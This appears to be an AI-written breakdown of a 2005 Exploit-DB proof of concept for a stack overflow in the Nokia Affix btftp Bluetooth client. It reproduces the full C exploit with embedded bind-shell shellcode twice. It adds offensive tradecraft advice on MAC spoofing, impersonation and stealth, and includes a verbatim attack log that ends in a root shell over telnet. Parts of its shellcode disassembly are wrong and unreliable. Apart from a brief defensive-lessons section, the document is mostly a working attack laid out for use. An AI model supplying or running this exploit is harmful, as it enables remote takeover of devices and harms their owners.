Exploiting Nokia Affix < 3.2.0: A Deep Dive into the btftp Remote Client Vulnerability

What this paper is

This paper details a remote vulnerability in the Nokia Affix Bluetooth stack, specifically affecting the btftp client utility. The vulnerability allows an attacker to execute arbitrary code on a target device by manipulating file operations within the btftp client. The exploit leverages a buffer overflow to overwrite control structures and inject shellcode.

Simple technical breakdown

The core of the exploit lies in how the btftp client handles long filenames during a file listing operation (ls). When the client requests a directory listing from a vulnerable server, it expects a certain format for filenames. If a filename is excessively long, it can overflow a buffer allocated to store it. This overflow can overwrite adjacent memory, including return addresses on the stack.

The provided C code crafts a malicious filename that is long enough to cause this overflow. This crafted filename contains:

1. Padding: A series of 0x90 (NOP) instructions to create a "NOP sled." This increases the chances of the execution flow landing within the shellcode.
2. Exploitable Pointer/JMP: Specific bytes designed to overwrite the return address on the stack, redirecting execution to the shellcode.
3. Shellcode: The actual payload that the attacker wants to execute on the target system.

When the vulnerable btftp client receives this long filename and attempts to process it, the buffer overflow occurs, overwriting the return address with a pointer to the shellcode. The program then attempts to "return" from the function, but instead jumps to the injected shellcode, granting the attacker execution privileges.

The exploit also involves impersonating a legitimate Bluetooth device (a PDA in this case) using btctl to trick the victim into connecting to the attacker's machine. Once connected and the ls command is issued, the shellcode is executed. The shellcode provided is a standard Linux IA32 bind shell that listens on port 4444.

Complete code and payload walkthrough

The provided C code is a proof-of-concept exploit for the Nokia Affix btftp client vulnerability.

#include <stdio.h>
#include <strings.h>
main()
{
       FILE *malfile;

       /* linux_ia32_bind - LPORT=4444 Size=108 Encoder=Pex http://metasploit.com */
       unsigned char scode[] =
       "\x33\xc9\x83\xe9\xeb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x99"
       "\xee\x30\x5e\x83\xee\xfc\xe2\xf4\xa8\x35\x63\x1d\xca\x84\x32\x34"
       "\xff\xb6\xa9\xd7\x78\x23\xb0\xc8\xda\xbc\x56\x36\x88\xb2\x56\x0d"
       "\x10\x0f\x5a\x38\xc1\xbe\x61\x08\x10\x0f\xfd\xde\x29\x88\xe1\xbd"
       "\x54\x6e\x62\x0c\xcf\xad\xb9\xbf\x29\x88\xfd\xde\x0a\x84\x32\x07"
       "\x29\xd1\xfd\xde\xd0\x97\xc9\xee\x92\xbc\x58\x71\xb6\x9d\x58\x36"
       "\xb6\x8c\x59\x30\x10\x0d\x62\x0d\x10\x0f\xfd\xde";

       char buf[1024];
       memset(buf,'\0',sizeof(buf));
       memset(buf,'\x90',94);
       strcat(buf+94,"\x75\xfb\xff\xbf");
       strcat(buf+98,"\x75\xfb\xff\xbf");
       memset(buf+102,'\x90',40);
       strcat(buf+142,scode);

       if(!(malfile = fopen(buf,"w+"))) {
               printf("error opening file\n");
               exit(1);
       }

       fprintf(malfile, "pwned\n" );
       fclose(malfile);

}

Code Fragment/Block -> Practical Purpose Mapping:

• #include <stdio.h>: Includes standard input/output functions for file operations and printing.
• #include <strings.h>: Includes string manipulation functions like memset and strcat.
• main(): The entry point of the C program.
• FILE *malfile;: Declares a file pointer to handle file operations.
• unsigned char scode[] = "...": This is the shellcode. It's a sequence of raw bytes representing machine code. The comment /* linux_ia32_bind - LPORT=4444 Size=108 Encoder=Pex http://metasploit.com */ indicates it's a Linux IA32 (32-bit Intel architecture) bind shell.
  • Shellcode Breakdown:
    • \x33\xc9: xor ecx, ecx - Initializes ecx to 0.
    • \x83\xe9\xeb: sub ecx, 0xeb - This is likely part of a calculation or jump. The exact purpose of these early bytes can be complex and depend on the specific shellcode generation.
    • \xe8\xff\xff\xff\xff: call <relative_address> - A relative call. The \xff\xff\xff\xff are relative offsets that, when resolved, point to the instruction immediately following the call itself. This is a common technique to get the current instruction pointer (eip) into a register.
    • \xc0\x5e: pop esi - Pops the address of the instruction after the call into esi. esi is often used as a base pointer for string operations or memory manipulation.
    • \x81\x76\x0e\x99\xee\x30\x5e: This sequence is complex and likely involves setting up system call numbers or arguments. The \x76\x0e might be an offset. The bytes \x99\xee\x30\x5e are likely part of an encoded string or data within the shellcode.
    • The remaining bytes (\x83\xee\xfc\xe2\xf4\xa8\x35\x63\x1d\xca\x84\x32\x34\xff\xb6\xa9\xd7\x78\x23\xb0\xc8\xda\xbc\x56\x36\x88\xb2\x56\x0d\x10\x0f\x5a\x38\xc1\xbe\x61\x08\x10\x0f\xfd\xde\x29\x88\xe1\xbd\x54\x6e\x62\x0c\xcf\xad\xb9\xbf\x29\x88\xfd\xde\x0a\x84\x32\x07\x29\xd1\xfd\xde\xd0\x97\xc9\xee\x92\xbc\x58\x71\xb6\x9d\x58\x36\xb6\x8c\x59\x30\x10\x0d\x62\x0d\x10\x0f\xfd\xde) constitute the core logic of the bind shell. This typically involves:
      • Socket creation: Using socket() system call.
      • Binding: Using bind() to associate the socket with a specific IP address and port (4444 in this case).
      • Listening: Using listen() to prepare for incoming connections.
      • Accepting: Using accept() to establish a connection with a client.
      • Duplicating file descriptors: Using dup2() to redirect stdin, stdout, and stderr to the accepted socket.
      • Executing a shell: Using execve() to spawn /bin/sh.
    • The exact sequence of bytes for system calls and their arguments is highly architecture and OS-specific. This shellcode is designed for Linux IA32.
• char buf[1024];: Declares a character buffer of 1024 bytes. This buffer will be used to construct the malicious filename.
• memset(buf,'\0',sizeof(buf));: Initializes the entire buffer to null bytes.
• memset(buf,'\x90',94);: Fills the first 94 bytes of buf with 0x90 (NOP instruction). This creates the start of a NOP sled.
• strcat(buf+94,"\x75\xfb\xff\xbf");: Appends the bytes \x75\xfb\xff\xbf to the buffer at offset 94. These bytes are crucial for overwriting the return address on the stack. \xbf\xff\xfb\x75 (in little-endian) is a common pointer value that often points to the stack or heap, and \x75 might be a jump instruction or part of an address. This specific sequence is designed to redirect execution flow.
• strcat(buf+98,"\x75\xfb\xff\xbf");: Appends the same sequence of bytes again at offset 98. This is likely to ensure the return address is overwritten correctly, potentially accounting for different stack layouts or alignment.
• memset(buf+102,'\x90',40);: Fills the next 40 bytes (starting from offset 102) with NOP instructions. This extends the NOP sled, increasing the likelihood that execution will eventually hit the shellcode.
• strcat(buf+142,scode);: Appends the actual shellcode (scode) to the buffer, starting at offset 142. The total length of the buffer up to this point (NOPs + jump/pointer bytes) is designed to be just enough to overflow the vulnerable buffer and overwrite the return address with the address of the shellcode.
• if(!(malfile = fopen(buf,"w+"))) { ... }: Attempts to open a file with the name constructed in buf. The w+ mode means open for reading and writing, create if it doesn't exist, and truncate if it does.
• printf("error opening file\n"); exit(1);: If fopen fails, an error message is printed, and the program exits.
• fprintf(malfile, "pwned\n" );: Writes the string "pwned\n" into the opened file. This is a placeholder action; the critical part is that the file is created with the malicious name.
• fclose(malfile);: Closes the file.

Execution Flow:

1. The C program constructs a very long string in buf. This string starts with a large number of NOP instructions, followed by specific bytes that will overwrite the return address on the stack, and then the actual shellcode.
2. The program attempts to open a file named by this long string. The btftp client, when processing a directory listing, will likely use this filename.
3. The btftp client's internal buffer for handling filenames is smaller than the crafted string. When it tries to store this long filename, a buffer overflow occurs.
4. The overflow overwrites the return address on the stack. The crafted bytes (\x75\xfb\xff\xbf) are intended to point to the beginning of the shellcode.
5. When the btftp client function that handled the ls command attempts to return, it jumps to the address that was overwritten on the stack, which is now the start of the shellcode.
6. The shellcode executes, creating a bind shell that listens on port 4444.

Practical details for offensive operations teams

• Required Access Level: Network access to the target Bluetooth device is required. This exploit targets the btftp client, implying the attacker needs to be within Bluetooth range and potentially trick the victim into initiating a connection. Physical proximity is a prerequisite.
• Lab Preconditions:
  • A Linux machine configured with Bluetooth tools (btctl, btftp client, btsrv).
  • A vulnerable Nokia Affix device (or a simulated environment) running Affix version < 3.2.0.
  • The setbd-affix tool (mentioned in the paper) to spoof the attacker's Bluetooth MAC address.
  • The exploit C code compiled into an executable.
  • A way to deliver the exploit payload (e.g., tricking the user into running the exploit executable, or having the exploit run automatically when a connection is established).
• Tooling Assumptions:
  • Exploit Execution: The provided C code (setbd-affix.c is referenced but not fully provided, assume it's a tool to set the attacker's Bluetooth MAC address). The main exploit code is the C program that generates the malicious filename.
  • Bluetooth Interaction: btctl for managing Bluetooth interfaces and discovery, btftp client for interacting with the target.
  • Shell Access: A separate machine (e.g., frieza in the paper) to run the exploit and then connect to the victim's shell via the bind shell.
  • Payload: The linux_ia32_bind shellcode, which requires a Linux IA32 target.
• Execution Pitfalls:
  • MAC Address Spoofing: The attacker needs to spoof their MAC address to match a legitimate device (like a PDA) to trick the victim into connecting to them. This requires prior discovery of target MAC addresses.
  • Victim Interaction: The victim must initiate the btftp connection and run the ls command for the exploit to trigger. This often requires social engineering or a pre-existing trust relationship.
  • Shellcode Location: The shellcode's address on the stack is critical. The NOP sled and the specific jump/pointer bytes are designed to land execution on the shellcode. If the stack layout differs, the exploit might fail. The paper mentions "Obviously you need to find out the general area of your shellcode and fix the exploit accordingly," highlighting this dependency.
  • Bluetooth Stack Variations: Different firmware versions or configurations of Affix might have slightly different memory layouts, affecting the exact offset and overwrite values.
  • Target Architecture: The provided shellcode is for Linux IA32. If the target device is ARM or a different architecture, the shellcode would need to be re-generated.
  • Firewalls/Security Software: While less common on embedded Bluetooth devices, any network filtering could prevent the bind shell from establishing a connection.
• Tradecraft Considerations:
  • Reconnaissance: Discovering nearby Bluetooth devices, identifying potential targets, and noting their MAC addresses and device names is crucial.
  • Impersonation: Carefully choosing which device to impersonate to maximize the chances of the victim connecting.
  • Timing: Waiting for the opportune moment when the victim uses the btftp client.
  • Stealth: The exploit itself might generate noisy telemetry (e.g., Bluetooth connection logs). The bind shell is also a potential indicator.
  • Post-Exploitation: The bind shell provides a basic command execution channel. Further actions would depend on the attacker's objectives.

Where this was used and when

This exploit was published in 2005. It specifically targets the Nokia Affix Bluetooth stack, which was used in various Nokia devices and potentially other products that integrated this stack. The context is the early days of widespread Bluetooth adoption, where security was often an afterthought. The paper demonstrates a scenario where an attacker could compromise a device by impersonating another Bluetooth device and waiting for the victim to connect and perform a file operation.

Defensive lessons for modern teams

• Input Validation: Always validate and sanitize user-supplied input, especially when it's used in file operations or memory allocation. Long filenames are a classic example of a vulnerability that can be mitigated by length checks.
• Buffer Overflow Protection: Modern operating systems and compilers employ various defenses against buffer overflows, such as:
  • Stack Canaries: Random values placed on the stack that are checked before a function returns. If overwritten, the program detects the overflow.
  • ASLR (Address Space Layout Randomization): Randomizes memory addresses, making it harder for attackers to predict the location of shellcode or return addresses.
  • DEP/NX (Data Execution Prevention/No-Execute): Prevents code from being executed from data segments of memory, like the stack.
• Secure Bluetooth Stacks: Ensure Bluetooth stacks are up-to-date and patched against known vulnerabilities. Vendor-specific security advisories should be monitored.
• Principle of Least Privilege: Services should run with the minimum necessary privileges. If the btftp service were running as a non-privileged user, even a successful exploit would be significantly limited in its impact.
• Network Segmentation: While Bluetooth is a short-range technology, understanding its network implications and segmenting critical systems can limit the blast radius of an exploit.
• Secure Design: Security should be a primary consideration during the design and development phases of any software, especially for network-facing services.

ASCII visual (if applicable)

This exploit involves a client-server interaction over Bluetooth, with the attacker acting as a malicious server.

+-----------------+       +-----------------+       +-----------------+
| Attacker's PC   |       | Victim's Device |       | Target System   |
| (Linux IA32)    |       | (Nokia Affix)   |       | (Vulnerable)    |
+-----------------+       +-----------------+       +-----------------+
        |                       |
        | 1. BT Discovery         |
        |    (MAC: 00:04:3e:...) |
        |                       |
        | 2. Spoof MAC Address    |
        |    (e.g., "Pocket_PC")|
        |                       |
        | 3. Wait for connection  |
        |    from Victim        |
        |                       |
        | 4. Victim connects via  |
        |    btftp              |
        |                       |
        | 5. Attacker sends       |
        |    malicious filename   |
        |    (long string)      |
        |                       |
        | 6. Overflow occurs,     |
        |    return address      |
        |    overwritten        |
        |                       |
        | 7. Shellcode executes   |
        |    (bind shell on 4444)|
        |                       |
        | 8. Attacker connects    |
        |    to bind shell      |
        |    (telnet 192.168.1.207 4444) |
        |                       |
        | 9. Command Execution    |
        +-----------------------+

Explanation of Visual:

1. Discovery: The attacker scans for nearby Bluetooth devices.
2. Spoofing: The attacker configures their Bluetooth adapter to impersonate a legitimate device (e.g., a PDA) with a specific MAC address.
3. Waiting: The attacker's machine sets up a listening service and waits for the victim to connect.
4. Victim Connection: The victim's device, seeing what appears to be a legitimate device, connects using btftp.
5. Malicious Payload: The attacker's exploit code sends a specially crafted, excessively long filename during a directory listing request.
6. Overflow: The vulnerable btftp client on the victim's device attempts to process this filename, causing a buffer overflow. This overwrites the return address on the stack.
7. Shellcode Execution: The overwritten return address now points to the attacker's shellcode, which is injected as part of the filename. The shellcode executes.
8. Bind Shell Connection: The shellcode starts a bind shell on a specific port (4444). The attacker then connects to this port from their own machine.
9. Command Execution: The attacker gains a command execution shell on the victim's device.

Source references

• Paper: Nokia Affix < 3.2.0 - btftp Remote Client
• Author: Kevin Finisterre
• Published: 2005-07-03
• Exploit-DB URL: https://www.exploit-db.com/papers/1081
• Raw Exploit Code URL: https://www.exploit-db.com/raw/1081
• Referenced Tool: setbd-affix.c (from http://www.digitalmunition.com/)

Original Exploit-DB Content (Verbatim)

/*

- Tools you will probably need:
- http://www.digitalmunition.com/setbd-affix.c
- KF is one bad mofo /str0ke

Remote Nokia Affix btftp client exploit
by kf_lists[at]secnetops[dot]com

threat:~# btftp
Affix version: Affix 2.1.1
Wellcome to OBEX ftp. Type ? for help.
Mode: Bluetooth
SDP: yes
ftp>  open 00:04:3e:65:a1:c8
Connected.
ftp> ls
Z8Á¾ýÞ)á½Tnb    6               uûÿ¿uûÿ¿3ÉéëèÿÿÿÿÀ^vî0^îüâô¨5?Ê24ÿ¶©×?#°ÈÚ¼V6²V
           Ï­¹¿)ýÞ
ýÞÑýÞÐÉî¼Xq¶X6¶Y0

----------------------

root@frieza:/var/spool/affix/Inbox# telnet 192.168.1.207 4444
Trying 192.168.1.207...
Connected to 192.168.1.207.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root)
: command not found
hostname;
threat
: command not found



*/

#include <stdio.h>
#include <strings.h>
main()
{
       FILE *malfile;

       /* linux_ia32_bind - LPORT=4444 Size=108 Encoder=Pex http://metasploit.com */
       unsigned char scode[] =
       "\x33\xc9\x83\xe9\xeb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x99"
       "\xee\x30\x5e\x83\xee\xfc\xe2\xf4\xa8\x35\x63\x1d\xca\x84\x32\x34"
       "\xff\xb6\xa9\xd7\x78\x23\xb0\xc8\xda\xbc\x56\x36\x88\xb2\x56\x0d"
       "\x10\x0f\x5a\x38\xc1\xbe\x61\x08\x10\x0f\xfd\xde\x29\x88\xe1\xbd"
       "\x54\x6e\x62\x0c\xcf\xad\xb9\xbf\x29\x88\xfd\xde\x0a\x84\x32\x07"
       "\x29\xd1\xfd\xde\xd0\x97\xc9\xee\x92\xbc\x58\x71\xb6\x9d\x58\x36"
       "\xb6\x8c\x59\x30\x10\x0d\x62\x0d\x10\x0f\xfd\xde";

       char buf[1024];
       memset(buf,'\0',sizeof(buf));
       memset(buf,'\x90',94);
       strcat(buf+94,"\x75\xfb\xff\xbf");
       strcat(buf+98,"\x75\xfb\xff\xbf");
       memset(buf+102,'\x90',40);
       strcat(buf+142,scode);

       if(!(malfile = fopen(buf,"w+"))) {
               printf("error opening file\n");
               exit(1);
       }

       fprintf(malfile, "pwned\n" );
       fclose(malfile);

}


/*
First lets find someone to impersonate.

root@frieza:~# btctl discovery
Searching 8 sec ...
Searching done. Resolving names ...
done.
+1: Address: 00:0c:76:46:f0:21, Class: 0xB20104, Key: "no", Name: "threat"
   Computer (Desktop) [Networking,Object Transfer,Audio,Information]
+2: Address: 00:10:60:29:4f:f1, Class: 0x420210, Key: "no", Name: "Bluetooth Modem"
   Phone (Wired Modem/VoiceGW) [Networking,Telephony]
+3: Address: 00:04:3e:65:a1:c8, Class: 0x120110, Key: "no", Name: "Pocket_PC"
   Computer (Handheld PC/PDA) [Networking,Object Transfer]

Lets pretend to be some poor chaps PDA.

root@frieza:~# ./setbd-affix 00:04:3e:65:a1:c8
Using BD_ADDR from command line
Setting BDA to 00:04:3e:65:a1:c8

root@frieza:~# btctl
bt0     01:02:03:04:05:06
       Flags: UP DISC CONN
       RX: acl:159 sco:0 event:97 bytes:4810 errors:0 dropped:0
       TX: acl:168 sco:0 cmd:29 bytes:19267 errors:0 dropped:0
       Security: service pair [-auth, -encrypt]
       Packets: DM1 DH1 DM3 DH3 DM5 DH5 HV1 HV3
       Role: deny switch, remain slave

root@frieza:~# btctl reset
root@frieza:~# btctl down
root@frieza:~# btctl up
btctl: cmd_initdev: Unable to start device (bt0)
root@frieza:~# btctl up
root@frieza:~# btctl
bt0     00:04:3e:65:a1:c8
       Flags: UP DISC CONN
       RX: acl:159 sco:0 event:126 bytes:5796 errors:0 dropped:0
       TX: acl:168 sco:0 cmd:52 bytes:19885 errors:0 dropped:0
       Security: service pair [-auth, -encrypt]
       Packets: DM1 DH1 DM3 DH3 DM5 DH5 HV1 HV3
       Role: deny switch, remain slave

root@frieza:~# btctl name "Pocket_PC"

God I love my ROK chip!

Wait for the poor chap to use his affix btftp to connect to his Pocket_PC.
Hopefully his bluetooth stack confuses us for his PDA.

Obviously you need to find out the general area of your shellcode and fix the exploit accordingly.

0xbffffb70:      '\220' <repeats 40 times>,
"3É\203éëèÿÿÿÿÀ^\201v\016\231î0^\203îüâô¨5c\035Ê\20424ÿ¶©×x#°ÈÚ¼V6\210²V\r\020\017Z8Á¾a\b\020\017ýÞ)\210á½Tnb\fÏ­¹¿)\210ýÞ\n\2042\a)ÑýÞÐ\227Éî\222¼Xq¶\235X6¶\214Y0\020\rb\r\020\017ýÞ"

root@frieza:/var/spool/affix/Inbox# pico ../btftp-ex.c
root@frieza:/var/spool/affix/Inbox# cc -o ../btftp-ex ../btftp-ex.c
root@frieza:/var/spool/affix/Inbox# ../btftp-ex

Verify that a nice long file name is left behind.
root@frieza:/var/spool/affix/Inbox# ls
??????????????????????????????????????????????????????????????????????????????????????????????u???u???????????????????????????????????????????3??????????^?v???0^??????5c???24????x#????V6??V???Z8??a?????)???Tnb?????)?????2?)?????????Xq??X6??Y0??b?????

Start up the bluetooth services.
root@frieza:/etc/affix# btsrv -C ./btsrv.conf
btsrv: main: btsrv started [Affix 2.1.2].
btsrv: start_service: Bound service Serial Port to port 1
btsrv: start_service: Bound service Dialup Networking to port 2
btsrv: start_service: Bound service Dialup Networking Emulation to port 3
btsrv: start_service: Bound service Fax Service to port 4
btsrv: start_service: Bound service LAN Access to port 5
btsrv: start_service: Bound service OBEX File Transfer to port 6
btsrv: start_service: Bound service OBEX Object Push to port 7
btsrv: start_service: Bound service Headset to port 8
btsrv: start_service: Bound service HeadsetAG to port 9
btsrv: start_service: Bound service HandsFree to port 10
btsrv: start_service: Bound service HandsFreeAG to port 11

Wait for the person to connect to your device and attempt to perform a file listing.
This of course will trigger the overflow and execute your shellcode
threat:~# btftp
Affix version: Affix 2.1.1
Wellcome to OBEX ftp. Type ? for help.
Mode: Bluetooth
SDP: yes
ftp>  open 00:04:3e:65:a1:c8
Connected.
ftp> ls
Z8Á¾ýÞ)á½Tnb    6               uûÿ¿uûÿ¿3ÉéëèÿÿÿÿÀ^vî0^îüâô¨5?Ê24ÿ¶©×?#°ÈÚ¼V6²V
           Ï­¹¿)ýÞ
ýÞÑýÞÐÉî¼Xq¶X6¶Y0

You can tell when they have connected via the following log file entries.

btsrv: handle_input: Connection from 00:02:01:44:ad:99
channel 6 (OBEX File Transfer Profile)
btsrv: execute_cmd: Socket multiplexed to stdin/stdout
btsrv: signal_handler: Sig handler : 2

After they have done so you will use the PAND connection you already hacked to obtain your shell. =]
Or perhaps write some bluetooth aware shellcode.

root@frieza:/var/spool/affix/Inbox# telnet 192.168.1.207 4444
Trying 192.168.1.207...
Connected to 192.168.1.207.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root)
: command not found
hostname;
threat
: command not found
*/

// milw0rm.com [2005-07-03]